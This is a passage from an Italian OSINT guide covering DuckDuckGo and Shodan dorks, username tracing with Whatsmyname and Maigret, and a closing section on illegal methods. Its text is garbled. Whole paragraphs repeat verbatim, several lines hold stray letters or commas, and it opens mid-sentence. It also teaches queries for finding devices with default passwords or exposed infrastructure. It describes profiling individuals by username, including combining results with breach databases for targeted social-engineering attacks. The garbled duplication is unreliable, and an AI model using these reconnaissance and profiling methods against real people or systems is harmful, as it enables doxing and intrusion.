Una cosa da tenere a mente è che DuckDuckGo, a causa del suo impegno per la privacy, non offre le stesse funzionalità di personalizzazione dei risultati di ricerca di Google. Significa che non sarai in grado di vedere i risultati di ricerca personalizzati basati sul tuo storico di ricerca o preferenze. Alcuni potrebbero vedere questo come uno svantaggio, ma per molti, la priorità data dalla privacy supera questo inconveniente.

Nell’ambito dell’Open Source Intelligence (OSINT), DuckDuckGo rappresenta quindi uno strumento prezioso per eseguire ricerche avanzate sulla rete. Sebbene le sue funzionalità non siano esaurienti come quelle di Google, la sua dedizione alla privacy lo rende un’ottima alternativa per quei ricercatori che desiderano condurre le loro indagini mantenendo un basso profilo.

In conclusione, i dorks di DuckDuckGo rappresentano un efficace strumento da aggiungere al tuo arsenale di tecniche OSINT. Non dimenticare di sperimentare con diverse combinazioni di operatori di ricerca, adattandoli alle tue esigenze specifiche. Ricorda, l’OSINT riguarda tanto la raccolta d’informazioni quanto la capacità di farlo in modo discreto e rispettoso della privacy. Qui DuckDuckGo eccelle.

documento”. Questo restringerà la tua ricerca ai soli file PDF sul sito esempio.com che hanno “nome del documento” nel loro titolo o testo.

L’uso efficace dei dorks di DuckDuckGo richiede un po’ di pratica e sperimentazione. Non esiste una formula magica o un singolo metodo che funzioni per ogni situazione. La chiave sta nello sperimentare con diversi operatori e combinazioni, e vedere quali producono i risultati migliori per la tua ricerca.

Una cosa da tenere a mente è che DuckDuckGo, a causa del suo impegno per la privacy, non offre le stesse funzionalità di personalizzazione dei risultati di ricerca di Google. Significa che non sarai in grado di vedere i risultati di ricerca personalizzati basati sul tuo storico di ricerca o preferenze. Alcuni potrebbero vedere questo come uno svantaggio, ma per molti, la priorità data dalla privacy supera questo inconveniente.

Nell’ambito dell’Open Source Intelligence (OSINT), DuckDuckGo rappresenta quindi uno strumento prezioso per eseguire ricerche avanzate sulla rete. Sebbene le sue funzionalità non siano esaurienti come quelle di Google, la sua dedizione alla privacy lo rende un’ottima alternativa per quei ricercatori che desiderano condurre le loro indagini mantenendo un basso profilo.

In conclusione, i dorks di DuckDuckGo rappresentano un efficace strumento da aggiungere al tuo arsenale di tecniche OSINT. Non dimenticare di sperimentare con diverse combinazioni di operatori di ricerca, adattandoli alle tue esigenze specifiche. Ricorda, l’OSINT riguarda tanto la raccolta d’informazioni quanto la capacità di farlo in modo discreto e rispettoso della privacy. Qui DuckDuckGo eccelle.

SHODAN DORKS

Dopo aver esplorato i vari motori di ricerca e le loro potenzialità nello scovare informazioni attraverso i dorks, è giunto il momento di tuffarci nel mondo di Shodan, il motore di ricerca che diversamente dagli altri, si concentra sulla ricerca di dispositivi connessi a Internet. Rispetto a Google o Bing, l'attenzione si sposta dalle informazioni tradizionali a un universo in costante evoluzione: l'Internet delle Cose (IoT). Prepariamoci quindi a esplorare un panorama digitale dove ogni device diventa potenzialmente rintracciabile.

Per capire cosa renda così unico Shodan, bisogna considerare il suo obiettivo principale catalogare qualunque apparato connesso alla rete che sia identificabile attraverso un IP. Si parla quindi di webcam, sistemi di controllo industriale, stampanti di rete, router, e molto altro ancora. L'uso dei dorks su Shodan trasforma questo motore di ricerca in un vero e proprio strumento di intelligence digitale.

I cosiddetti "Shodan Dorks" sono delle stringhe di ricerca avanzate che possono essere utilizzate per trovare dispositivi specifici o vulnerabilità in rete. Questi dorks sfruttano la sintassi di Shodan che permette di affinare le ricerche incorporando parametri come tipo di device, porta, località geografica e range di IP.

Per esempio, utilizzando il dork *"port:21"*, si possono trovare tutti i dispositivi che hanno la porta 21 aperta, comunemente utilizzata per il File Transfer Protocol (FTP). Questo può essere particolarmente utile in una fase di ricognizione durante un'operazione di sicurezza informatica.

Un ulteriore passo avanti lo si compie con dorks più specifici, come

"country:IT city:Roma", che focalizzano la ricerca su dispositivi situati a Roma, Italia. Con queste specificazioni, diventa possibile fare la scansione di un'area geografica definita per identificare potenziali punti di debolezza su una rete locale.

Shodan consente addirittura di trovare sistemi che espongono pannelli di controllo accessibili senza necessità di password, semplicemente mediante il dork *"default password"*. Questo tipo di ricerche può aiutare gli addetti alla sicurezza a identificare e correggere vulnerabilità prima che siano sfruttate da malintenzionati.

La questione etica, ovviamente, non deve mai essere trascurata. Sebbene la tentazione di esplorare dispositivi altrui possa essere forte, rimane fondamentale rispettare la privacy e le leggi vigenti. Usare la conoscenza di Shodan dorks per aumentare la consapevolezza verso gli aspetti di sicurezza è un passo importante verso un utilizzo responsabile dell'OSINT.

Per chi è nuovo in questo campo, può essere interessante iniziare con query più semplici come “webcam”, che porterà a esplorare le webcam accessibili pubblicamente e distribuite in giro per il mondo. Questo semplice esempio apre gli occhi sulla vastità e varietà di dispositivi connessi attualmente online.

Affinare le tecniche di ricerca con Shodan è una questione di pratica e curiosità. La piattaforma stessa offre una guida alla sintassi e alle funzionalità per i nuovi utenti, che è un ottimo punto di partenza per imparare a giostrarsi tra i diversi filtri di ricerca.

È anche importante menzionare che Shodan non si limita alla semplice ricerca di dispositivi, ma offre anche una serie di strumenti che consentono di visualizzare trend, analizzare dati storici e addirittura impostare alert in tempo reale su specifiche vulnerabilità o dispositivi.

L’apprendimento dell’utilizzo di Shodan è un’aggiunta preziosa alle competenze di chiunque operi nel campo dell’OSINT e più in generale della cyber security. Riuscire a padroneggiare il tesoro di dati fornito da Shodan può fare una differenza significativa nello sviluppare strategie di sicurezza informatica efficaci.

Un ulteriore campo di applicazione di Shodan intrigante è il cosiddetto “ghost hunting digitale”, ovvero la ricerca di dispositivi che non dovrebbero essere pubblicamente accessibili, come apparati critici di gestione delle infrastrutture. Questo può evidenziare come, nonostante viviamo in un’era altamente tecnologica, spesso vengono trascurate le basi della sicurezza informatica.

Allo stesso tempo, Shodan può servire da monito per chi gestisce reti e dispositivi: è sempre saggio rivedere le proprie impostazioni di sicurezza, per evitare di apparire su Shodan come un target invitante per gli attaccanti.

Per concludere, Shodan va considerato molto più che un semplice motore di ricerca. È la lente attraverso cui professionisti e appassionati possono osservare e comprendere meglio il vasto mondo di dispositivi che compongono l’Internet odierno. Con i giusti Shodan dorks e un approccio metodico, si possono scoprire verità sorprendenti nascoste sotto la superficie di ciò che quotidianamente diamo per scontato: una rete globale sempre connessa.

Per chi è nuovo in questo campo, può essere interessante iniziare con query più semplici come “webcam”, che porterà a esplorare le webcam accessibili pubblicamente e distribuite in giro per il mondo. Questo semplice esempio apre gli occhi sulla vastità e varietà di dispositivi connessi attualmente online.

Affinare le tecniche di ricerca con Shodan è una questione di pratica e curiosità. La piattaforma stessa offre una guida alla sintassi e alle funzionalità per i nuovi utenti, che è un ottimo punto di partenza per imparare a giostrarsi tra i diversi filtri di ricerca.

È anche importante menzionare che Shodan non si limita alla semplice ricerca di dispositivi, ma offre anche una serie di strumenti che consentono di visualizzare trend, analizzare dati storici e addirittura impostare alert in tempo reale su specifiche vulnerabilità o dispositivi.

L'apprendimento dell'utilizzo di Shodan è un'aggiunta preziosa alle competenze di chiunque operi nel campo dell'OSINT e più in generale della cyber security. Riuscire a padroneggiare il tesoro di dati fornito da Shodan può fare una differenza significativa nello sviluppare strategie di sicurezza informatica efficaci.

Un ulteriore campo di applicazione di Shodan intrigante è il cosiddetto “ghost hunting digitale”, ovvero la ricerca di dispositivi che non dovrebbero essere pubblicamente accessibili, come apparati critici di gestione delle infrastrutture. Questo può evidenziare come, nonostante viviamo in un'era altamente tecnologica, spesso vengono trascurate le basi della sicurezza informatica.

Allo stesso tempo, Shodan può servire da monito per chi gestisce reti e dispositivi: è sempre saggio rivedere le proprie impostazioni di sicurezza, per evitare di apparire su Shodan come un target invitante per gli attaccanti.

Per concludere, Shodan va considerato molto più che un semplice motore di ricerca. È la lente attraverso cui professionisti e appassionati possono osservare e comprendere meglio il vasto mondo di dispositivi che compongono l'Internet odierno. Con i giusti Shodan dorks e un approccio metodico, si possono scoprire verità sorprendenti nascoste sotto la superficie di ciò che quotidianamente diamo per scontato: una rete globale sempre connessa.

Capitolo 4: La Ricerca degli Username

Appena superato il confine dei Dorks, ci troviamo nel capitolo dedicato agli username, dove ogni nickname può essere la chiave d'accesso per scoprire mondi nascosti. Capirai presto che gli username sono molto più di un semplice alias: sono impronte digitali che gli utenti lasciano nel variegato universo online. Questo capitolo ti guiderà nella caccia agli username, dimostrandoti come possano rivelare connessioni e attività attraverso diverse piattaforme. Ti svelerò come utilizzare alcuni strumenti ad hoc, come Whatsmyname e Maigret, che con pochi clic riescono a setacciare il web per trovare le tracce lasciate da questi identificativi virtuali. Imparerete inoltre a fare uso di Dorks specifici che ti consentiranno di snidare gli username celati negli angoli più reconditi della rete. Attenzione però, usa questa conoscenza con saggezza e sempre nel rispetto della privacy altrui, perché ogni informazione raccolta può essere tanto preziosa quanto delicata.

Capitolo 4: La Ricerca degli Username

Appena superato il confine dei Dorks, ci troviamo nel capitolo dedicato agli username, dove ogni nickname può essere la chiave d'accesso per scoprire mondi nascosti. Capirai presto che gli username sono molto più di un semplice alias: sono impronte digitali che gli utenti lasciano nel variegato universo online. Questo capitolo ti guiderà nella caccia agli username, dimostrandoti come possano rivelare connessioni e attività attraverso diverse piattaforme. Ti svelerò come utilizzare alcuni strumenti ad hoc, come Whatsmyname e Maigret, che con pochi clic riescono a setacciare il web per trovare le tracce lasciate da questi identificativi virtuali. Imparerete inoltre a fare uso di Dorks specifici che ti consentiranno di snidare gli username celati negli angoli più reconditi della rete. Attenzione però, usa questa conoscenza con saggezza e sempre nel rispetto della privacy altrui, perché ogni informazione raccolta può essere tanto preziosa quanto delicata.

L'IMPORTANZA DELL'USERNAME

In un'era connessa come la nostra, capire e saper utilizzare gli username nel campo dell'Open Source Intelligence (OSINT) e dell'ingegneria sociale diventa fondamentale. Ormai, gli username sono diventati una sorta di impronta digitale unica che ciascun individuo lascia sulla rete, il che li rende una chiave d'accesso a un universo di informazioni potenzialmente rilevanti.

Gli username, infatti, possono rivelare molte cose su una persona. A cominciare dalla più ovvia, ossia quali piattaforme o servizi online usa, fino ad arrivare a dettagli personali come hobby, interessi e, a volte, anche informazioni sulla vita professionale. Si tratta dunque di un terreno fertile per chi si occupa di OSINT, sia per lavoro che per passione.

Perché l'username è così importante? Prendiamola così, quando qualcuno sceglie un nickname per i propri profili online, spesso tende a riproporre lo stesso o varianti simili su differenti piattaforme. Questa abitudine, definita in gergo tecnico "re-use", è una miniera d'oro per chi sa come cercare, perché permette di tracciare l'attività digitale di un utente attraverso il web.

Al contempo, analizzare gli username aiuta a comprendere le scelte dietro ciascun soprannome portando a individuare eventuali modelli o regolarità. Queste informazioni possono essere essenziali per prevedere quali potrebbero essere le variazioni usate su piattaforme ancora sconosciute. La creatività di un utente, in questo senso, può rivelarsi un dettaglio cruciale.

Nel processo di ricerca, uno degli aspetti più importanti è l'esclusione di falsi positivi. Sapere come distinguere un username legittimo da uno utilizzato da un omonimo richiede tempo e pratica, ma è un passo cruciale per non deviare su piste errate.

D'altra parte, questo studio dettagliato degli username permette anche di riconoscere i pattern che gli utenti impiegano per creare parole chiave sicure. Può sembrare paradossale, ma a volte proprio nel tentativo di nascondersi o di tutelare la propria privacy, gli utenti finiscono col fornire indizi preziosi.

Non dobbiamo dimenticare, inoltre, che gli username possono essere direttamente connessi a e-mail o altri identificativi online, che a loro volta aprono le porte a ricerche più approfondite. Isolare l'username giusto può significare scoprire una semplice e-mail, ma talvolta anche interi reti sociali o professionali a cui la persona è legata.

La complessità degli username varia a seconda dell'utente e del contesto. Alcuni sono predisposti a usare lo stesso nome dappertutto, semplificando di molto il lavoro dell'investigatore. Altri invece sono più cauti, adottando username meno prevedibili e talvolta anagrammi del proprio nome o pseudonimi completamente diversi.

All'interno di un'indagine OSINT, una volta individuato l'username target, si possono adottare diverse tattiche. L'approccio può variare dal sommario al sofisticato, da semplici ricerche su Google a metodiche più complesse che coinvolgono l'uso di software e database specifici per l'OSINT. Ma ne parleremo più avanti.

L'aspetto interessante degli username è che, nonostante la facciata di anonimato che possono fornire, spesso conducono a identità reali con una precisione sorprendente. Un utente può pensare di essere nascosto dietro a uno schermo, ma la digital footprint lasciata dai suoi username può segnalarne la posizione online con chiarezza disarmante.

Riguardo l'ingegneria sociale, il riconoscimento e il saper interpretare gli username va ben oltre il semplice rintracciare un individuo. Può essere la base per profilare un target, indirizzare attacchi mirati o ingannare la persona stessa facendosi passare per un utente connesso o rilevante al suo network.

In un contesto didattico, quindi, comprendere l'importanza degli username e il modo in cui possono essere utilizzati, rappresenta un tassello essenziale nella formazione di chi si occupa di OSINT. Squadrare bene l'argomento ora fornirà gli strumenti per essere poi più efficaci nelle ricerche e negli approfondimenti futuri.

Alla fine dei conti, l'username è tanto semplice quanto complesso: alla portata di tutti, ma a volte difficile da decifrare. Il panorama online è in continua espansione e gli username, come identificatori dei percorsi digitali degli utenti, sono pezzi di puzzle che attendono di essere assemblati.

Giocare a raccogliere queste tracce in uno scenario sempre più vasto e interconnesso non è semplicemente una sfida o un passatempo; può essere la chiave per aprirsi porte in mondi inesplorati dell'informazione online e rendere questa arte, l'OSINT, una risorsa potentissima per chiunque desideri imparare a leggere tra le righe della rete.

-

1.

2

All'interno di un'indagine OSINT, una volta individuato l'username target, si possono adottare diverse tattiche. L'approccio può variare dal sommario al sofisticato, da semplici ricerche su Google a metodiche più complesse che coinvolgono l'uso di software e database specifici per l'OSINT. Ma ne parleremo più avanti.

L'aspetto interessante degli username è che, nonostante la facciata di anonimato che possono fornire, spesso conducono a identità reali con una precisione sorprendente. Un utente può pensare di essere nascosto dietro a uno schermo, ma la digital footprint lasciata dai suoi username può segnalare la posizione online con chiarezza disarmante.

Riguardo l'ingegneria sociale, il riconoscimento e il saper interpretare gli username va ben oltre il semplice rintracciare un individuo. Può essere la base per profilare un target, indirizzare attacchi mirati o ingannare la persona stessa facendosi passare per un utente connesso o rilevante al suo network.

In un contesto didattico, quindi, comprendere l'importanza degli username e il modo in cui possono essere utilizzati, rappresenta un tassello essenziale nella formazione di chi si occupa di OSINT. Squadrare bene l'argomento ora fornirà gli strumenti per essere poi più efficaci nelle ricerche e negli approfondimenti futuri.

Alla fine dei conti, l'username è tanto semplice quanto complesso: alla portata di tutti, ma a volte difficile da decifrare. Il panorama online è in continua espansione e gli username, come identificatori dei percorsi digitali degli utenti, sono pezzi di puzzle che attendono di essere assemblati.

Giocare a raccogliere queste tracce in uno scenario sempre più vasto e interconnesso non è semplicemente una sfida o un passatempo; può essere la chiave per aprirsi porte in mondi inesplorati dell'informazione online e rendere questa arte, l'OSINT, una risorsa potentissima per chiunque desideri imparare a leggere tra le righe della rete.

DORKS PER LA RICERCA TRAMITE USERNAME

Continuando il viaggio nel mondo dell'OSINT e dell'ingegneria sociale, è fondamentale capire come utilizzare gli username per scovare informazioni. In questo contesto, i *dorks*, quelle particolari chiavi di ricerca che sfruttano i motori di ricerca per filtrare e ottenere dati specifici, svolgono un ruolo chiave. Focalizziamoci, quindi, su come possiamo utilizzarli al meglio per la nostra ricerca.

Gli username sono spesso trascurati, eppure possono essere la chiave d'accesso a un mondo di informazioni. Con un *username* unico possiamo scoprire profili su diverse piattaforme, dalle più popolari ai forum di nicchia. Come possiamo farlo in modo efficace? Una risposta sta nei *dorks*. Per essere degli abili investigatori digitali, dobbiamo imparare a formulare query precise. Per esempio, usando il dork

"site:piattaforma.com "username"", possiamo restringere la ricerca alle pagine di una specifica piattaforma sociale che contengono l'username di interesse.

Certo, ognuno ha la propria piattaforma preferita per la ricerca. Non tutti i motori di ricerca rispondono allo stesso modo ai dorks. Per esempio, Google potrebbe interpretare un dork in modo leggermente diverso rispetto a Bing o DuckDuckGo. Tuttavia, la struttura di base è simile e richiede un po' di pratica per essere padroneggiata.

Se volessimo concentrarci su una singola piattaforma, diremmo di usare un dork del tipo **"site:twitter.com "username"**. Ma cosa succede se quella persona ha un profilo anche altrove? Potremmo espandere la nostra ricerca con qualcosa del genere: **"username" -site:twitter.com"**. Questa query ci aiuta a escludere Twitter dalla ricerca, permettendoci di vedere dove appare lo stesso username.

Svolgere questa ricerca può diventare un'arte, a volte bisogna sapere giustamente dosare il livello di specificità. Se un username è comune, la mole di risultati può essere schiacciante. Qui entrano in gioco dorks più raffinati, come l'uso delle virgolette per ricerche esatte o l'aggiunta di parole chiave specifiche in relazione all'individuo.

Per esempio, inserendo **"username" "nomedellutente" "particolarehobby"**, potremmo scoprire post, commenti o iscrizioni a forum legati all'hobby di quella persona. Si apre quindi un nuovo filone investigativo che può rivelarsi molto prezioso.

Nuove porte si spalancano anche esplorando i metadati. Molti utenti non sono consapevoli delle informazioni che lasciano quando caricano foto o documenti. Usando dorks opportuni per i

ricerca di file, potremmo rinvenire dati nascosti nelle proprietà di un'immagine o in un documento PDF pubblicato involontariamente.

Un dettaglio importante da ricordare è che sotto la scocca di ogni piattaforma social c'è una struttura web universale. Le URL sono spesso composte seguendo uno schema preciso che include l'username. Questo significa che, se conosciamo la sintassi, possiamo costruire URL diretti ai profili o anche a pagine nascoste o meno note.

Con il crescente interesse per la privacy online, certi utenti decidono di rendere privati i loro account o di utilizzare pseudonimi. Eppure, laddove vi è stata interazione con altre piattaforme o servizi di terze parti, le tracce rimangono. Ecco perché la flessibilità è cruciale; adeguare i dorks alla situazione è un'esigenza pragmatica per gli investigatori OSINT.

Ma cosa succede se un username è troppo vago o comune? *Abbiamo bisogno di rafforzare la nostra ricerca.* Un metodo è combinare l'username con altri dati di interesse, come una località o un luogo di lavoro. Creando una query più complessa, si affina il tiro: **“username” “nomedellutente” “città” “azienda”**.

Inoltre, è utile capire quando e perché i dorks devono essere aggiornati. Le piattaforme cambiano, si aggiornano e talvolta alterano le proprie strutture URL per ragioni di branding o sicurezza. Rimanere al passo significa adeguare e testare continuamente i propri dorks per ottimizzare la ricerca.

Infine, una menzione al rispetto della legalità e dell'etica. Benché cerchiamo informazioni pubblicamente disponibili, dobbiamo sempre operare nel perimetro della legge e con rispetto per la privacy altrui. I dorks possono essere potenti, ma devono essere usati responsabilmente, senza mai dimenticare l'obiettivo finale: apprendere l'OSINT per fini leciti e costruttivi.

In conclusione, i dorks per la ricerca tramite username sono degli alleati inestimabili nella raccolta di informazioni attraverso l'OSINT. Servono a chiarire, a mettere ordine nel caos dell'informazione digitale, e a dare significato ai singoli bit di informazione. Con queste competenze, gli studenti possono diventare detective digitali capaci, sempre nel rispetto delle norme che governano il mondo online.

e

o

e

a

ricerca di file, potremmo rinvenire dati nascosti nelle proprietà di un'immagine o in un documento PDF pubblicato involontariamente.

Un dettaglio importante da ricordare è che sotto la scocca di ogni piattaforma social c'è una struttura web universale. Le URL sono spesso composte seguendo uno schema preciso che include l'username. Questo significa che, se conosciamo la sintassi, possiamo costruire URL diretti ai profili o anche a pagine nascoste o meno note.

Con il crescente interesse per la privacy online, certi utenti decidono di rendere privati i loro account o di utilizzare pseudonimi. Eppure, laddove vi è stata interazione con altre piattaforme o servizi di terze parti, le tracce rimangono. Ecco perché la flessibilità è cruciale; adeguare i dorks alla situazione è un'esigenza pragmatica per gli investigatori OSINT.

Ma cosa succede se un username è troppo vago o comune? *Abbiamo bisogno di rafforzare la nostra ricerca.* Un metodo è combinare l'username con altri dati di interesse, come una località o un luogo di lavoro. Creando una query più complessa, si affina il tiro: **“username” “nomedellutente” “città” “azienda”**.

Inoltre, è utile capire quando e perché i dorks devono essere aggiornati. Le piattaforme cambiano, si aggiornano e talvolta alterano le proprie strutture URL per ragioni di branding o sicurezza. Rimanere al passo significa adeguare e testare continuamente i propri dorks per ottimizzare la ricerca.

Infine, una menzione al rispetto della legalità e dell'etica. Benché cerchiamo informazioni pubblicamente disponibili, dobbiamo sempre operare nel perimetro della legge e con rispetto per la privacy altrui. I dorks possono essere potenti, ma devono essere usati responsabilmente, senza mai dimenticare l'obiettivo finale: apprendere l'OSINT per fini leciti e costruttivi.

In conclusione, i dorks per la ricerca tramite username sono degli alleati inestimabili nella raccolta di informazioni attraverso l'OSINT. Servono a chiarire, a mettere ordine nel caos dell'informazione digitale, e a dare significato ai singoli bit di informazione. Con queste competenze, gli studenti possono diventare detective digitali capaci, sempre nel rispetto delle norme che governano il mondo online.

WHATSMYNAME

Avanzando nel magico mondo dell'OSINT, ci imbattiamo in uno strumento che è una vera e propria gemma per la ricerca di username: Whatsmyname. Questo potente alleato ci permette di scoprire i profili associati a un determinato username su una miriade di siti web e piattaforme online.

Ma come funziona esattamente Whatsmyname? In pratica, questo sistema si basa su un database in costante aggiornamento che contiene le modalità con cui diversi servizi web gestiscono gli username. Attraverso la sua interfaccia, si possono effettuare ricerche mirate, velocizzando enormemente il processo che altrimenti ci obbligherebbe a controllare manualmente ogni singola piattaforma.

Il bello è che non c'è nemmeno bisogno di essere dei geni del computer per utilizzarlo.

L'interfaccia utente è piuttosto intuitiva: si inserisce l'username desiderato e si lancia la ricerca. In pochi istanti, avremo davanti ai nostri occhi un elenco di siti dove l'username viene utilizzato. È importante dire che Whatsmyname non si limita ai soliti noti social network come Facebook o Twitter; il suo utilizzo si estende anche a forum meno conosciuti, piattaforme di gaming, siti di codifica e molti altri ambienti digitali dove gli utenti possono aver lasciato tracce.

Oltre alla sua versione web-based, Whatsmyname si può anche utilizzare attraverso uno script Python, ciò consente di integrarlo facilmente in flussi di lavoro più complessi o in strumenti automatizzati di raccolta dati.

Non dobbiamo però dimenticare che la disponibilità di dati varia in base alle regolamentazioni dei diversi servizi online; quindi, ci potrebbero essere casi in cui Whatsmyname non riesca a recuperare le informazioni desiderate.

Uno degli aspetti più interessanti è l'approccio collaborativo che sta dietro Whatsmyname. La comunità OSINT può contribuire allo sviluppo e all'aggiornamento dello strumento, segnalando nuove piattaforme da integrare o cambiamenti nelle modalità di risposta degli username sui vari siti. In un mondo in rapida evoluzione come quello di Internet, avere una comunità attiva è fondamentale per mantenere lo strumento al passo coi tempi.

Immagina di avere a che fare con un caso di doxing o di cyberbullismo; grazie a strumenti come Whatsmyname puoi facilmente trovare gli altri account online della persona che stai cercando, fornendo un quadro più ampio delle sue attività e di come interagisce negli spazi virtuali.

C'è però da ricordare che, nonostante l'efficienza, si tratta pur sempre di uno strumento che si affida alla disponibilità pubblica delle informazioni. Non possiamo quindi aspettarci di ritrovare

dati inaccessibili a causa di impostazioni di privacy stringenti o di eliminazioni fatte dagli utenti stessi.

Dunque, in che modo Whatsmyname può inserirsi nel più ampio contesto dell'OSINT? Bene potrebbe essere un primo passo cruciale per la costruzione di un profilo digitale o per l'identificazione di pattern comportamentali legati a un nickname specifico.

Usare Whatsmyname potrebbe anche rivelare collegamenti inaspettati o reindirizzarvi verso nuove piste di indagine; per esempio, scoprire un profilo su un sito di fotografia può implicare che la persona abbia pubblicato immagini in quel contesto, aprendo così la via a ulteriori ricerche.

In conclusione, Whatsmyname è uno strumento prezioso e flessibile per chiunque voglia addentrarsi nell'arte della ricerca di username. Con questo alleato, la scoperta di connessioni online diventa più accessibile, sistematica e, per non dimenticarlo, anche piuttosto divertente.

Da quanto detto è chiaro che padroneggiare gli strumenti come Whatsmyname non solo potenzia le vostre capacità investigative ma aiuta anche a formare una mentalità più critica e attenta ai dettagli nel vasto universo digitale in cui quotidianamente ci muoviamo.

i

a

a

o

i

è

i

e

dati inaccessibili a causa di impostazioni di privacy stringenti o di eliminazioni fatte dagli utenti stessi.

Dunque, in che modo Whatsmyname può inserirsi nel più ampio contesto dell'OSINT? Bene, potrebbe essere un primo passo cruciale per la costruzione di un profilo digitale o per l'identificazione di pattern comportamentali legati a un nickname specifico.

Usare Whatsmyname potrebbe anche rivelare collegamenti inaspettati o reindirizzarvi verso nuove piste di indagine; per esempio, scoprire un profilo su un sito di fotografia può implicare che la persona abbia pubblicato immagini in quel contesto, aprendo così la via a ulteriori ricerche.

In conclusione, Whatsmyname è uno strumento prezioso e flessibile per chiunque voglia addentrarsi nell'arte della ricerca di username. Con questo alleato, la scoperta di connessioni online diventa più accessibile, sistematica e, per non dimenticarlo, anche piuttosto divertente.

Da quanto detto è chiaro che padroneggiare gli strumenti come Whatsmyname non solo potenzia le vostre capacità investigativa ma aiuta anche a formare una mentalità più critica e attenta ai dettagli nel vasto universo digitale in cui quotidianamente ci muoviamo.

MAIGRET

Nella ricerca OSINT, gli strumenti giusti fanno la differenza. Uno dei toolkit più funzionali per indagare gli username su Internet è Maigret. Questo set di strumenti è stato progettato per raccogliere una gran quantità di informazioni da vari siti web e piattaforme, usando come punto di partenza soltanto un username.

Saprai già che un username unico può aprire le porte a molte informazioni su una persona, e Maigret è lo strumento ideale per questo compito. È incredibilmente utile per ottenere dati da fonti diverse, senza bisogno di sforzi manuali estenuanti. È, in altre parole, un alleato potente per amplificare le tue ricerche.

Quindi, come iniziare con Maigret? Prima potrebbe essere necessario installarlo, solitamente tramite pip, il gestore di pacchetti di Python. Si tratta di uno strumento basato su Python, quindi dovrai avere Python installato sul computer. Una volta completata l'installazione, potrai avviarlo da un terminale o da un prompt dei comandi.

L'utilizzo di Maigret comincia con un semplice comando che include il nome utente che si desidera investigare. Da lì, il nostro Maigret si mette al lavoro, scansionando una vasta gamma di siti e servizi per trovare corrispondenze. Potresti rimanere sorpreso da quanti dati possano emergere da un singolo username.

Maigret non si limita a verificare la presenza dell'username in questione; raccoglie anche dati pubblici associati a quell'account. Questo può includere profili di social media, post, immagini e talvolta perfino preferenze e commenti. Tutto ciò che è pubblico e collegato all'username diventa un insight prezioso.

Un punto di forza di Maigret è la sua capacità di generare rapporti dettagliati. I dati raccolti vengono sistemati in un formato leggibile, sia che preferiate un file di testo semplice o un formato più strutturato come JSON. Questo è particolarmente utile se hai bisogno di analizzare o di condividere i risultati della tua ricerca.

Maigret è anche estremamente configurabile. Per esempio, puoi creare un elenco personalizzato di siti da controllare che siano più rilevanti per la vostra indagine specifica. Questa flessibilità lo rende un ottimo strumento sia per principianti sia per professionisti della sicurezza informatica e investigatori privati.

Un altro aspetto importante da considerare quando si usa Maigret è la pazienza. Non sempre le corrispondenze appaiono in un battito di ciglia; a volte è necessario attendere che lo strumento completi l'iter di scansione, che può variare a seconda del numero di fonti e dalla connessione Internet utilizzata.

Nonostante Maigret possa fare molto da solo, la sua efficienza aumenta quando viene usato in combinazione con altri strumenti OSINT.

Integrarlo nella tua cassetta degli attrezzi virtuale può aiutarti a creare una metodologia di indagine robusta e dinamica.

Per esempio, i risultati ottenuti da Maigret possono essere composti con analisi di dati ottenuti da altre fonti, come i database di violazioni dei dati o i servizi di caller ID per i numeri di telefono associati. Questa combinazione di dati può dare una visione a trecentosessanta gradi sulla persona di interesse.

È essenziale anche mantenere regolarmente aggiornato Maigret, dato che il panorama online cambia rapidamente e nuovi siti emergono mentre altri spariscono o cambiano le loro politiche di privacy. Gli aggiornamenti possono includere nuovi moduli per siti aggiuntivi o miglioramenti alle funzioni esistenti.

Per gli studenti e gli appassionati che vogliono fare pratica con Maigret, uno scenario interessante potrebbe essere la creazione di un caccia al tesoro virtuale, dove si usano gli username come punti di partenza per scoprire informazioni e collegamenti nascosti.

In sintesi, Maigret è uno strumento versatile che si adatta a molte esigenze di ricerca nell'ambito dell'OSINT. Che tu stia conducendo una verifica di background, cercando di capire meglio la presenza online di una persona o semplicemente desiderosi di affinare le vostre competenze, Maigret può dare una marcia in più alle tue investigazioni.

Ultimo ma non meno importante, mai dimenticare l'importanza di un approccio etico: usare Maigret con saggezza e rispetto, e renderai il mondo dell'OSINT un posto migliore per tutti.

,

,

,

,

e

,

a

Nonostante Maigret possa fare molto da solo, la sua efficienza aumenta quando viene usato in combinazione con altri strumenti OSINT.

Integrarlo nella tua cassetta degli attrezzi virtuale può aiutarti a creare una metodologia di indagine robusta e dinamica.

Per esempio, i risultati ottenuti da Maigret possono essere composti con analisi di dati ottenuti da altre fonti, come i database di violazioni dei dati o i servizi di caller ID per i numeri di telefono associati. Questa combinazione di dati può dare una visione a trecentosessanta gradi sulla persona di interesse.

È essenziale anche mantenere regolarmente aggiornato Maigret, dato che il panorama online cambia rapidamente e nuovi siti emergono mentre altri spariscono o cambiano le loro politiche di privacy. Gli aggiornamenti possono includere nuovi moduli per siti aggiuntivi o miglioramenti alle funzioni esistenti.

Per gli studenti e gli appassionati che vogliono fare pratica con Maigret, uno scenario interessante potrebbe essere la creazione di un caccia al tesoro virtuale, dove si usano gli username come punti di partenza per scoprire informazioni e collegamenti nascosti.

In sintesi, Maigret è uno strumento versatile che si adatta a molte esigenze di ricerca nell'ambito dell'OSINT. Che tu stia conducendo una verifica di background, cercando di capire meglio la presenza online di una persona o semplicemente desiderosi di affinare le vostre competenze, Maigret può dare una marcia in più alle tue investigazioni.

Ultimo ma non meno importante, mai dimenticare l'importanza di un approccio etico: usa Maigret con saggezza e rispetto, e renderai il mondo dell'OSINT un posto migliore per tutti.

METODI ILLEGALI IN ITALIA

Riproponiamo la nostra conversazione sui metodi legali per la ricerca di informazioni, sottolineando l'importanza di operare sempre nel rispetto delle leggi italiane. In questo senso è opportuno discutere ciò che sicuramente **non** dovrete fare: l'utilizzo di metodi illegali, come la pratica di *recupero password* attraverso mezzi non autorizzati, un argomento controverso che riguarda l'etica e la legalità nelle indagini digitali.

L'accesso non consentito a sistemi informatici o account online, attraverso tecniche di *password recovery* non autorizzate, è un reato previsto dal Codice penale italiano. Questo può includere l'uso di software specifici per il cracking delle password o l'impersonificazione di un utente per richiedere la reimpostazione della password.

Una tecnica diffusa tra gli hacker è utilizzare metodi di *social engineering* per ottenere accesso a informazioni sensibili. È un approccio che sfrutta le vulnerabilità umane e può portare all'acquisizione di credenziali di accesso attraverso inganni o manipolazioni psicologiche. Tuttavia, è essenziale comprendere che qualunque attività di questo tipo è illegale e punibile per legge.

